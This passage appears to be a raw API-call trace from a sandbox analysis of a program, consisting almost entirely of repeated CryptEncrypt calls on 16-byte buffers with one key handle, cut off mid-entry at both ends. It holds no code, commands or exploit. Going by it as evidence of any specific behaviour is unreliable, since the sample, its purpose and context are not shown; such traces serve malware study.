pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.842] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.842] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.842] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.842] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.842] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.842] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.842] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.842] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.842] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.842] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.842] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.843] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.843] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.843] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.843] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.843] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.843] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.843] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.843] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.843] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.843] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.843] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.843] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.843] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.843] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.843] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.843] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.843] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.843] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.843] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.843] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.843] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.843] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.844] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.844] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.844] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.844] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.844] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.844] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.844] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.844] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.844] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.844] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.844] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.844] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.844] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.844] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.844] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.845] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.845] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.845] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.845] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.845] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.845] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.845] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.845] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.845] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.845] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.845] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.845] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.845] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.845] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.845] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.845] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.845] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.845] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.845] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.845] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.845] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.845] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.846] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.846] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.846] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.846] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.846] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.846] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.846] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.846] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.846] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.846] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.846] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.846] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.846] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.846] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.846] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.846] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.846] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.846] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.846] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.846] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.846] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.846] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.846] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.847] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.847] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.847] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.847] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.847] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.847] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.847] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.847] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.847] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.847] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.847] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.847] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.847] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.847] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, 